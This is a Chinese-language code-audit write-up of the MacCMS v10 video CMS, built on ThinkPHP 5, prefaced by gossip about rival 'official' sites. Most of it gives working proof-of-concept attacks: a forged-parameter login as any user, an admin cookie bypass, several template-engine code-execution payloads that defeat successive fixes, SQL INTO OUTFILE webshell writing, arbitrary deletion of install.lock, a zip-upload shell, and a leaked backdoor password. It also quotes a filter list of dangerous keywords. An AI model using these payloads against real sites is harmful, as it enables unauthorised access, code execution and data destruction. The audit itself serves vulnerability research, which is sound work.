0x01 简介

MacCMS 是一套快速视频内容管理开源 cms 系统。据说 MacCMS 已经发展了 12 年,现在流行的两个版本是v10和v8,本次主要审计 v10 的代码。

MacCMS v10的代码采用了 ThinkPHP 5.0 的框架,在做代码审计时需要对 TP5 的框架比较熟悉。

真假 MacCMS

MacCMS 目前有两个自称官方的网站,maccms.la 和 maccms.pro。但这两者都没有拿出绝对的证据证明自己是 MacCMS 的官方平台,但两者都底气十足的指出对方是假冒网站。在审计 v10 的代码前,我对这场闹剧反而兴趣十足,下面是我吃瓜收集的一些信息,但不能保证以下信息的全部真实性,就当娱乐性的吃瓜了:

首先目前公认的是 MacCMS 作者是一个叫做老王的程序员(原名王波),在开发 MacCMS 期间,一直使用的域名是 maccms.com。不过在 2019 年,MacCMS 被用于构建非法网站的原因,官方域名 maccms.com 在2019年5月左右关闭。

maccms.la 的 github 账号为 magicblack,于 2016 加入 github 仓库,在 2019 年 7 月 8 日创建了 MacCMS v8 和 v10 的仓库。

按照 magicblack 的说法,2021年6月,maccms.com 域名被盗取,转移到了境外。现在 maccms.com 会被解析到 maccms.pro 域名上。

maccms.pro 的 github 账号为 maccmspro ,于 2021 年 6.4 日加入 github 仓库,更新频率明显慢于 magicblack。不过 maccmspro 在建立时就做好了计划要推出全新的版本。另外 maccmspro 在官网上的一篇博客声明自己并不是原版MacCMS 的作者老王,但却指出自己是正版? maccmspro 的意思似乎是不忍 MacCMS 盗版猖獗,于是单方面决定替老王维护 MacCMS 程序。

图片.png

从这里其实能感受到 maccmspro 就是为了蹭原版 MacCMS 的热度,想做 MacCMS 的新官方平台,并逐步成为新版 MacCMS。

不过 maccmspro 在 github 似乎出现过一个乌龙,挺尴尬的,如下图,但此图真实性不确定。

图片.png

另外也有一个域名 maccms.cn ,自称是 MacCMS 爱好者,和 maccms.la 网站的 UI 一模一样 ,却指出 maccms.la 是假冒域名,并指出官方域名为 maccms.pro。

下面是我找到的一张 MacCMS 早期 maccms.com 的首页图,maccms.la 和 maccms.cn 现在就是这样的 UI。

图片.png

最后梳理一下,从有记录的时间上来看,magicblack 维护了 MacCMS 的代码有接近两年的时间,maccmspro 维护代码的时间只有 5个月。magicblack 在 github 上的点赞和 maccms.la 域名搜索排名上都要领先于 maccmspro。不过 maccmspro 拥有 .com 和 .cn 更让人信服的域名,配合强大的营销,maccmspro 也迅速站住了脚。

目前看来 maccmspro 确定是一个想借用原版 MacCMS 名声打造新 MacCMS 的平台,剩下的问题就是 magicblack 是否是原版。

我有找到苹果cms的百度贴吧,最早的消息能追溯到2017年,吧主名字也为 magicblack(这个 id 可以在很多博客网站上找到),从多方信息来看,magicblack 似乎是老王本人,种种迹象也表明 magicblack 似乎就是原版,但下面 magicblack 做的两件事也容易让人产生怀疑:

1)在 maccms.com 关闭后,magicblack 才在 github 上提交代码,无法证明在原官方正版存在时 magicblack 做出了重大更新。

2)magicblack 存在争议较大的文件:static/js/player.js,在 magicblack 中该文件的代码一直加密的,这段代码有引流、加载广告的嫌疑。maccmspro 声称解密了该代码,并利用这个把柄称 magicblack 在种木马,从而为自己赢得了不少信任。

关于 magicblack 和 maccmspro 的瓜参考如下信息:

https://www.maccms.la/

https://www.zhihu.com/question/469030135

https://tieba.baidu.com/p/7425108612

https://www.xunaonao.com/15058.html

吃瓜最后,无论谁是 MacCMS 的正版维护者,能吸取的教训就是要好好维护自己的知识产权,同时也不要辜负用户的信任,做一些奇怪的操作,毕竟对广大的使用者来说,好用是唯一标准。

最后我有一个小小的吐槽,老王为什么取名 MACcms?MacCMS 中文名是苹果CMS,所以Mac和苹果有什么关系???难道因为Macbook?

安装

代码在 magicblack 或 maccmspro 的 github 仓库下载就可以了,虽然不知道这两家谁是正版,但目前两者的代码是差不多的,如果要区分两家的代码,有下面两种方法。

1)区分 static/js/player.js 页面

maccmspro 和 magicblack 的 player.js 区别明显,可以在github上找相关源码对比细节,不过github上两者在代码版本标签上都没有打的很明显,该方法可能不够精准。

2)后台查看跳转

在后台点击左上角图标就会跳转到对应网站,是谁就一清二楚了。

图片.png

【安装主题】

我下载的代码前台是没有模板文件的,这会影响对前台功能代码的审计。网上随便找套主题即可,这里贴一个好心人提供的模板:https://www.lanzoux.com/s/pgcms,据说 maccms 站长用海螺模板的较多,可以优先选这个。

0x01 前台任意用户登陆

在 MacCMS 最新版中,前台会员中心功能处存在两种登陆方式,通过构造参数可以实现任意用户登陆

(发此文时 magicblack 已在github 上修复)。

1.1 代码分析

关键代码如下:

可以看到有两种登陆验证方式,第一种是常见的用户名密码。

第二种验证方式转换成sql语句的where字段就是where $data['col']=$data['openid'],而两边的参数都是可控的,所以这里很好通过验证。

//	application/common/model/User.php
public function login($param)
{
    $data = [];
    $data['user_name'] = htmlspecialchars(urldecode(trim($param['user_name'])));
    $data['user_pwd'] = htmlspecialchars(urldecode(trim($param['user_pwd'])));
    $data['verify'] = $param['verify'];
    $data['openid'] = htmlspecialchars(urldecode(trim($param['openid'])));
    $data['col'] = htmlspecialchars(urldecode(trim($param['col'])));

    if (empty($data['openid'])) {
        // 验证用户名密码	……
    } else {
        if (empty($data['openid']) || empty($data['col'])) {
            return ['code' => 1001, 'msg' => lang('model/user/input_require')];
        }
      	// 第二种验证
        $where[$data['col']] = $data['openid'];
    }
    $where['user_status'] = ['eq', 1];
    $row = $this->where($where)->find();
		……
} 

1.2 漏洞利用

构造where $data['col']=$data['openid'],在数据库的 user 表中,user_id 是最清楚的,直接构造user_id=xxx就可以实现任意用户登陆。

poc:openid为任意用户id

POST /index.php/user/login

openid=1&col=user_id 

发送 poc 后会显示登陆成功,此时浏览器已经获取了登陆后的cookie,然后直接访问前台就好了。

图片.png

登陆成功

图片.png

0x02 绕过后台会话验证

在早些 MacCMS 版本中,后台会话认证的数据全部来自客户端的 cookie ,该参数可控,可以结合 TP5 的一些特性绕过后台的会话认证,从而登陆后台。

2.1 代码分析

后台登陆的关键代码如下:

$admin_id,$admin_name,$admin_check来自客户端 cookie,通过 TP5 的cookie 助手函数获取,所以这三个变量是可控的,同时该漏洞还需要理解 TP5 的 cookie 助手函数,后面会详细分析该函数的代码。

$admin_id,$admin_name,$admin_check都不能为空,这里就会限制很多弱类型比较的参数。

$admin_id,$admin_name会赋值到$where上,==这里是直接赋值上去的,写法是不严谨的,也是造成该漏洞的关键因素之一==。这两个参数值最终会用于查询 admin 表的数据,查询结果赋值到$info。这里$info不能为空。这是后台的第一个验证条件,就是在 admin 表中存在$admin_id,$admin_name的数据,这里的条件是比较好绕过的,后面会将详细构造。

$login_check是一段 md5() 加密值,其中加密参数$info['admin_random']是未知的。第二个验证条件便是$login_check$admin_check弱类型相等,在没有$info['admin_random']的情况下,没法构造相等的 md5 值,在$login_check固定为一个 md5 字符串的情况时, 根据 PHP 的弱类型比较,==$admin_check需要传入bool类型true或整数类型0,而TP5 的cookie 助手函数获取的 cookie 确实存在这样的机会==,下面来看看该助手函数的详细代码。

//	application/common/model/Admin.php
public function checkLogin()
{
    $admin_id = cookie('admin_id');
    $admin_name = cookie('admin_name');
    $admin_check = cookie('admin_check');

    if(empty($admin_id) || empty($admin_name) || empty($admin_check)){
        return ['code'=>1001, 'msg'=>'未登录'];
    }

    $where = [];
    $where['admin_id'] = $admin_id;
    $where['admin_name'] = $admin_name;
    $where['admin_status'] =1 ;

    $info = $this->where($where)->find();
    if(empty($info)){
        return ['code'=>1002,'msg'=>'未登录'];
    }
    $info = $info->toArray();

    $login_check = md5($info['admin_random'] . $info['admin_name'] .$info['admin_id']) ;
    if($login_check != $admin_check){
        return ['code'=>1003,'msg'=>'未登录'];
    }
    return ['code'=>1,'msg'=>'已登录','info'=>$info];
} 

cookie 助手函数将会调用\think\Cookie类的get方法获取客户端传来的 cookie 值,代码如下:

$name是传入 get() 方法的参数,就是上面的 admin_id、admin_name、admin_check。

$value就是 cookie 中的参数值,这里还有个判断,如果$value是以think:开头的字符串,其think:后面的字符串又会经过json_decode()\think\Cookie::jsonFormatProtect()的处理。

这里便是关键了,看了下php manual,json_deode()在遇到true,falsenull会相应地返回 truefalse和 null,而 bool 类型的 true 就是我们一直期待的。

json_decode()会使$value获取到 bool 类型的 true值,然后又会经过think\Cookie::jsonFormatProtect()处理,查看其代码,$value为 true时并不会被处理,所以我们构造的 true活了下来。

//	thinkphp/library/think/Cookie.php
public static function get($name = '', $prefix = null)
{
		$prefix = !is_null($prefix) ? $prefix : self::$config['prefix'];
    $key    = $prefix . $name;
    if ('' == $name) {……    } elseif (isset($_COOKIE[$key])) {
        $value = $_COOKIE[$key];

        if (0 === strpos($value, 'think:')) {
            $value = json_decode(substr($value, 6), true);
            array_walk_recursive($value, 'self::jsonFormatProtect', 'decode');
        }
    } else {
        $value = null;
    }
    return $value;
}
protected static function jsonFormatProtect(&$val, $key, $type = 'encode')
{
    if (!empty($val) && true !== $val) {
        $val = 'decode' == $type ? urldecode($val) : urlencode($val);
    }
} 

2.2 漏洞利用

通过分析代码,绕过后台验证有两个判断条件,传入的可控参数是$admin_id,$admin_name,$admin_check。

1)条件1,能从数据库中查询到 admin_id,admin_name 的用户。该条件需要保证 admin 表中存在$admin_id,$admin_name这样的值,即存在这样的管理员id,管理员用户名。

一般管理员id为1,账号为admin,这个概率还是很大的。不过这里也可以利用 TP5 的一个特性,可以传入如下的值:

$where['admin_id'] = ['like','%'];
$where['admin_name'] = ['like','%'];
$info = $this->where($where)->find(); 

此时执行的sql语句为如下:

SELECT * FROM `mac_admin` WHERE  `admin_id` LIKE '%'  AND `admin_name` LIKE '%'  AND `admin_status` = 1 LIMIT 1 

此时构造的cookie应该为:

admin_id[]=like;admin_id[]=%; admin_name[]=like;admin_name[]=% 

这样将会查询到 admin 表中的第一个账号,一般第一个账号都是权限最大的,够用了,也可以尝试控制id,模糊匹配用户名。

2)条件2,md5验证

$admin_check将会和数据库中查询到的 id,admin_name,admin_random做md5验证,因为 admin_random 这里是无法获取的,这三者的加密值必定一串未知md5加密字符串,不过利用 TP5 特性,可控制$admin_check为 true,造成弱类型相等。

2.3 最终poc

所以最终的poc如下:

Cookie: admin_id[]=like;admin_id[]=%; admin_name[]=like;admin_name[]=%; admin_check=think:true 

网上的公开的 poc 更加精简一些:

Cookie: admin_id=think:["like","%"]; admin_name=think:["like","%"]; admin_check=think:true 

2.4 简单总结

在 v2020.1000.1035 版本以前存在漏洞,该漏洞的核心是弱类型比较,但也用到了很多 TP5 的特性,挖掘该漏洞还需要对 TP5 的框架代码十分了解。

v2020.1000.1042(2020.11.9)代码如下图,不知道维护者是有意还是无意,对 cookie 的值做了 urldecode() 操作,该操作最直接的影响就是$admin_check的值无法控制为布尔类型的 true,所以该漏洞基本也就修复了。另外 $where 也指定了 'eq' 操作,这样的写法更加严谨一点。

图片.png

在 v2020.1000.1062(2021.1.25) 版本中,将使用session处理会话,该漏洞基本就宣告结束了。

图片.png

0x03 后台任意文件写入

后台【模板】=>【模板管理】功能处可以添加修改模板文件,该功能会造成任意文件写入,再利用 TP5 的模板解析特性,可能会执行写入的代码。

这个功能会造成很多利用方式, magicblack 版本一直在做修复,但始终有绕过的方式。结合网上公开的利用方式,我也发现了很多方法可以突破这些修复的版本,下面一一总结。

(发此文时 magicblack 已在 github 上修复)

3.1 代码分析

下面代码来自 v2020.1000.1035 版本:

$fname,$fpath会指定模板文件的位置,其后缀被白名单限制,只能为 array('html', 'htm', 'js', 'xml') 其中之一。

$fcontent为写入模板文件的内容,其内容禁止存在<?,{php}字符的字样,其实在早期版本中,甚至还没有该条过滤,很容易写入php代码,当时的漏洞编号为 CVE-2019-9829,可惜在github上没有找到cve漏洞源码。虽然现在过滤了一些php格式的字符,但仍然有绕过的机会,所以本文主要分析绕过漏洞修复的情况。

通过分析代码,我们可以写入一些html,js等后缀的静态文件,静态文件是没法被解析的。但这里又利用了 TP5 模板解析的特性,TP5在模板解析时会把静态模板文件编译成php后缀的缓存文件,然后被包含在对应的控制器代码中,从而输出视图。

所以在 TP5 中,只要能控制静态文件的内容,如在静态文件中写入<?php phpinfo();?>,这段代码最终也会被包含在控制器中从而被解析执行,所以这里我们只要想办法在模板文件中写入 php 代码即可。

//	application/admin/controller/Template.php
public function info()
{
    $param = input();
    $fname = $param['fname'];
    $fpath = $param['fpath'];

    if( empty($fpath)){
        $this->error('参数错误1');
        return;
    }
    $fpath = str_replace('@','/',$fpath);
    $fullname = $fpath .'/' .$fname;
    $fullname = str_replace('\\','/',$fullname);

    if( (substr($fullname,0,10) != "./template") || count( explode("./",$fullname) ) > 2) {
        $this->error('参数错误2');
        return;
    }
    $path = pathinfo($fullname);
    if(!empty($fname)) {
        $extarr = array('html', 'htm', 'js', 'xml');
        if (!in_array($path['extension'], $extarr)) {
            $this->error('参数错误,后缀名只允许htm,html,js,xml');
            return;
        }
    }

    if (Request()->isPost()) {
        $fcontent = $param['fcontent'];
        if(strpos($fcontent,'<?')!==false || strpos($fcontent,'{php}')!==false){
            $this->error('安全提示,模板中包含php代码禁止在后台编辑');
            return;
        }
        $res = @fwrite(fopen($fullname,'wb'),$fcontent);
				……
    }

    $fcontent = @file_get_contents($fullname);
    $fcontent = str_replace('</textarea>','<&#47textarea>',$fcontent);
    $this->assign('fname',$fname);
    $this->assign('fpath',$fpath);
    $this->assign('fcontent',$fcontent);

    return $this->fetch('admin@template/info');
} 

3.2 漏洞利用

这个漏洞存在很久了,从 maccms.la 维护的代码来看,该漏洞被修复了几次,在实战中需要根据情况利用。

在 CVE-2019-9829 中,该漏洞第一次被提出,不过那时代码我也找不到了,当时的代码只允许修改 .html 这种静态文件,却忽略了写入php代码会被TP5的模板引擎编译后解析的情况。

现在能找到的最早的代码是 v2020.1000.1035 ,就是上面分析的代码,限制了写入内容具有php标记的情况。

在 v2020.1000.1035 版本中,过滤了更多内容,则表示写入内容中不能有这些字符。

图片.png

在 2021.9.9 日的更新中(该更新没有打tags,后台显示版本号为v2022.1000.3024,感觉maccms.la维护不太专业的),过滤内容如下,在maccmspro版本中没有做该修复。

图片.png

3.2.1 更换标记风格

php的 4 种标记风格:http://c.biancheng.net/view/7256.html

其实 php 有如下4种标记风格:

<?php	…… ?>
<? …… ?>		//启用 short_open_tag
<% …… %>		//启用 asp_tags  php7不支持
<script language="php">……</script>	//php7 不支持 

第三种和第四种能绕过<?的过滤,本地测试第4种有效,不过不支持 php7 版本。

poc:

<script language="php">
phpinfo();
</script> 

需要在php5中执行,另外在后面的修复版本中过滤了php字符,该poc会无效。

3.2.2 文件包含

先了解下tp5模板引擎的include标签,该标签可以实现文件包含,用法如下,被包含模板文件的起始目录应该为web部署目录。

{include file='模版文件1,模版文件2,...' /} 

我们便可以考虑上传一个含有php代码的文件,然后利用模板编辑的功能使其包含上传的文件。

1)上传文件

后台有很多地方可以上传文件,我选择的功能是【文章】->【添加文章】,上传文件后可以看到文件内容。

图片.png

这里会使用 finfo_file() 检测上传文件是否是php文件格式,绕过也很简单,在第一行加一些字符串就行,如我上传的文件如下:

111111
<?php phpinfo();?> 

2)编辑模板

这里选一个我们能访问到的模板,为了方便我直接选择了前台首页的模板,在实战中要留意了,网站首页动静还是很大的。

添加include标签,包含我们上传的文件,然后保存即可。

图片.png

3)检验成果

访问首页即可看到我们修改的模板已经被包含进去了。

图片.png

最后可以看看缓存文件被编译成了什么样子。

图片.png

poc:

{include file="upload/art_editor/20211109-1/fa8ae56a1bada27ac2c4edae0f7cbddb.txt" /} 

在最新修复版本中过滤了 file 字符,导致该poc无效。file 字符都被被过滤了,include没过滤,这种修复方式还是有点奇怪的,我下的主题大多模板文件本身就有file字符,该功能在这种情况下形同摆设。

3.2.3 特殊标签

代码分析

上面说道{include}这样的标签会被编译成文件包含的php语法,其实这里还有其他标签格式可以绕过最新的修复,这里先看看 TP5 是如何编译这些标签的。

TP5 编译模板位于\think\Template类的 compiler() 方法,代码如下:

$content就是静态模板文件读出来的内容

parseInclude() 就是上面解析include标签的函数,这里就不细看其中的代码

//	thinkphp/library/think/Template.php
private function compiler(&$content, $cacheFile)
{
  	// 模板解析
    $this->parse($content);
public function parse(&$content)
{
  	……
  	// 检查include语法
    $this->parseInclude($content);
  	……
    // 解析普通模板标签 {$tagName}
  	$this->parseTag($content);
  	…… 

深入 parseTag() 的代码,该函数最常见的解析规则如下:

Hello,{$name}!
Hello,<?php echo($name);?>! 

标签 {$…} 包裹的内容就是 php 要输出的内容,粗略看一下 parseTag() 的代码会发现,解析标签不止有{$},还有其他很多情况,而大佬们就发现了这样的场景,佩服佩服呀!

图片.png

根据网上流出payload,先看标签 {:} 的代码:

$regex 是正则表达式,用于抓取如{$name}这样的标签结构,$match 是其中的一个匹配结果,其中$match[1] 是第一个匹配子组,就是剥离{}符号里面的内容,即$name,该值赋值给 $str。

$str 的第一个字符作为 $flag,决定该标签的解析方式,这里查看第一个字符为:的情况。

$str 会去掉第一个字符,然后被 parseVar() 处理后直接放到<?php echo $str; ?>,所以保证$str内容即可,下面看下 parseVar() 的代码。

private function parseTag(&$content)
{
		$regex = $this->getRegex('tag');
		if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) {
    		foreach ($matches as $match) {
        		$str  = stripslashes($match[1]);
            $flag = substr($str, 0, 1);
            switch ($flag) {
								case ':':
                    // 输出某个函数的结果
                    $str = substr($str, 1);
                    $this->parseVar($str);
                    $str = '<?php echo ' . $str . '; ?>';
                    break; 

parseVar() 的代码如下:

这里有个很关键的正则匹配,匹配结果如下图,这个正则会匹配$aaa.bbb,$aaa:bbb的参数形式。

图片.png

这是一个将正则表达式转换为图片的网站:jex.im通过图片更好理解正则表达式

另外这里有个正则规则?>一直没有百度到是什么,我转换为了?:理解

没有匹配到正则 则不做处理

通过正则匹配的代码我也没有细看,通过调试大概知道是怎样的转换形式。

public function parseVar(&$varStr)
{
    $varStr = trim($varStr);
    if (preg_match_all('/\$[a-zA-Z_](?>\w*)(?:[:\.][0-9a-zA-Z_](?>\w*))+/', $varStr, $matches, PREG_OFFSET_CAPTURE)) {
        ……}
    return; 

最后来总结下,会有一下的转换形式:

1)未匹配到正则,不处理
{:aaa}	=>	aaa		=>	<?php echo aaa; ?>
2)数组参数
{:$aaa.bbb}	=>	$aaa['bbb']	=>	<?php echo $aaa['bbb']; ?>
3)对象属性
{:$aaa:bbb}	=>	$aaa->bbb		=>	<?php echo $aaa->bbb; ?> 

我们可以充分利用这个规则,写出如下格式:

{:$a="phpinfo";$a()}	=>	<?php echo $a="phpinfo()";$a(); ?>
// 如果过滤了敏感字符,采用如下格式绕过
{:$a="ph"."pinfo";$a()} 

然后看看模板编译结果:

图片.png

在 v2022.1000.3024 版本中,便做了如下限制,{:符号也被过滤了。

$filter = '<\?|php|eval|server|assert|get|post|request|cookie|session|input|env|config|call|global|dump|print|phpinfo|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell|base64|file|proc|preg|call|ini|{:'; 

但是看代码,其实 $flag 为~、-、+符号时,处理是一样的,所以这个修复方案并没有解决问题,也从另外一个方面看出了代码维护者对漏洞原理或TP5底层代码并不熟悉。

图片.png

poc:

{~$a="ph"."pinfo";$a()} 

漏洞利用

maccms 最新版本号是 v2022.1000.3024,这个版本在修改模板时过滤了很多字符串,导致模板文件本身的字符串也也被过滤了,导致整个功能显得有点鸡肋。

为了利用这个功能,需要找到一个没有一点敏感字符的模板文件,我写了个脚本完成了这部分工作:

图片.png

我这里找到一个不需要登陆的模板 public/paging(不同的主题模板文件不同),该模板被 vod/search.html 包含,vod/search 可直接访问。在后台修改 模板 public/paging ,插入poc:

图片.png

然后访问使用到该模板的地方。

图片.png

0x04 后台利用数据库功能

Maccms 后台有一个执行 sql 语句的地方,位于【数据库】-》【执行SQL语句】。

图片.png

4.1 代码分析

$sql是客户端的参数,也就是要执行的sql语句。

$sql以 select 字符开头不会进行任何处理,但这里是很好绕过的,可以看出这里本意是不想执行查询操作的。否则$sql将会用Db::execute()执行,Db::execute()是 TP5 封装的执行原生sql的方法,是没有任何过滤的,所以利用这个功能我们是可以执行任意sql语句。

//	application/admin/controller/Database.php
public function sql()
{
    if($this->request->isPost()){
        $param=input();
        $sql = trim($param['sql']);

        if(!empty($sql)){
            $sql = str_replace('{pre}',config('database.prefix'),$sql);
            //查询语句返回结果集
            if(strtolower(substr($sql,0,6))=="select"){

            }
            else{
                Db::execute($sql);
            }
        }
        $this->success(lang('run_ok'));
    }
    return $this->fetch('admin@database/sql');
} 

4.2 into outfile 写入木马

利用 SQL 写木马是常规操作,poc如下,加括号的原因是绕过strtolower(substr($sql,0,6))=="select"条件。

(select '<?php phpinfo();?>' into outfile '/var/www/1.php') 

不过这种利用方式首先要知道网站的根目录,其次还得看权限够不够。

获取根目录上暂时没有找到好办法,不过这里有可以借用修改模板的地方,使其输出ROOT_PATH常量,这是保存 TP5 web 根目录的常量,代码如下,而且这种写法也不会被过滤,应该还是挺高效的:

{$Think.ROOT_PATH} 

然后访问对应模板的页面获取到根目录,剩下的就是看有没有sql写文件的权限了。

图片.png

说到这,已经能感受到这个模板能做很多事,比如输出 TP5 的配置文件中的数据库连接参数,这样就能直接获取数据库权限。

{$Think.config.database.username}<br>
{$Think.config.database.password} 

这里的sql执行操作其实感觉也能做很多其他的事情,如很多程序会把数据库中的内容不禁过滤写入到文件中,利用这个功能,这里还能造成任意文件写入漏洞。

4.3 任意文件删除漏洞

有了执行任意 sql 的权限后,就能修改数据库的任意数据,然后我就想看看程序有没有获取数据库数据做敏感操作的地方。然后找到了一处删除文件的功能,位于【基础】-》【附件管理】。

图片.png

这里介绍的漏洞位于 v2020.1000.1068 版本之后。maccms 早期也爆出过任意文件删除漏洞,https://github.com/magicblack/maccms10/issues/346,原理和这里差不多,不过漏洞都被修复了。

4.3.1 代码分析

删除功能的代码如下:

$ids可以传入文件id,然后在数据库查找到id对应的文件路径 $v['annex_file'],最后拼接这个文件路径删除真实文件。

删除文件前会对真实的文件路径做验证,但这个验证方法有点问题,只需要满足file_exists($pic) && (substr($pic,0,8) == "./upload")count( explode("./",$pic) ) ==1的条件就可以了。而这里路径会加上./,似乎count( explode("./",$pic) ) ==1条件不好满足了。

//	application/admin/controller/Annex.php
public function del()
{
    $param = input();
    $ids = $param['ids'];
    if(!empty($ids)){
        if(is_array($ids)){
            foreach($ids as $k=>$v){
                $ids[$k] = str_replace('./','',$v);
            }
        }
        $where=[];
        $where['annex_id|annex_file'] = ['in',$ids];
        $res = model('Annex')->delData($where);
      	……
//	application/common/model/Annex.php
public function delData($where)
{
    $list = $this->listData($where,'',1,9999);
    $path = './';
    foreach($list['list'] as $k=>$v){
        $pic = $path.$v['annex_file'];
        if(file_exists($pic) && (substr($pic,0,8) == "./upload") || count( explode("./",$pic) ) ==1){
            unlink($pic);
        }
    }
		…… 

4.3.2 漏洞利用

maccms 有一个 install.lock 文件,删除该文件后可重新安装 maccms 系统,以删除该文件来演示这里的操作。

1)向数据库插入要删除文件的路径

指定id好找文件,文件id什么的抓包就有了。

UPDATE `maccms`.`mac_annex` SET `annex_file` = 'upload/../application/data/install/install.lock' WHERE `annex_id` = 21 

2)利用删除功能删除文件

图片.png

0x05 其他问题

5.1 后台添加视频处存在存储xss

后台添加文章和添加视频处都有存储型xss,如下图所示,很多位置都能插入xss代码。

图片.png

在前台就能访问到插入的xss代码,还是有一定的危害。

图片.png

5.2 后台离线安装应用上传木马

在早期版本中,后台可以上传zip压缩包,maccms会解压后保存。

图片.png

该功能关键代码如下图,压缩包的关键是 info.ini 文件。

图片.png

系统本身有一份 info.ini ,复制过来修改一下就行,我修改的 info.ini 如下,留意到 name 将决定上传的目录名。

name = shell
title = test
intro = test
author = MagicBlack
website = http://www.maccms.la
version = 1.0.0
state = 0
url = /admin.php/addons/shell.html 

然后把要上传的文件和 info.ini 放在同一目录并压缩,注意直接压缩上传的文件,压缩文件中不要有目录。

图片.png

上传压缩包,解压的文件将被放到 addons/shell 目录下,这里的shell就是info.ini中的name,然后访问上传的文件即可。

图片.png

漏洞修复

在 v2022.1000.3005 版本中(2020.12.13),该功能被禁用了,直接exit退出了。

图片.png

5.3 假冒网站留后门

上面看了 magicblack 和 maccmspro 的闹剧,其实在2019年,maccms.com 关闭后,就出现过仿冒的网站,域名为 maccmsv10.com,很多人下载了仿冒网站的源码,而源码中却留有后门。

至今过去了两年的时间,仿冒网站也关闭了,这里就不多介绍了,估计现在使用这套代码的网站也是少之又少,这里记录一下这个版本的木马,也许运气好能遇到。

maccms10\extend\upyun\src\Upyun\Api\Format.php
maccms10\extend\Qcloud\Sms\Sms.php

密码 WorldFilledWithLove 

0x06 总结

本次主要审计了 MacCMS v10的代码,发现其中的问题主要在于登陆认证,模板编辑,数据库功能操作上,仔细研究代码,发现很多问题都在于作者并不熟悉 TP5 底层代码的处理。

在fofa上能找到很多 MacCMS 的站点,可能这种网站很挣钱(嗯嗯嗯),也许正是因为不少的利益诱惑,上演了一波又一波的真假美猴王的好戏。

最后瓜吃到这里,代码也审到这里,这套代码可能还有一些有趣的漏洞,希望一起交流学习。

本文作者:jelly1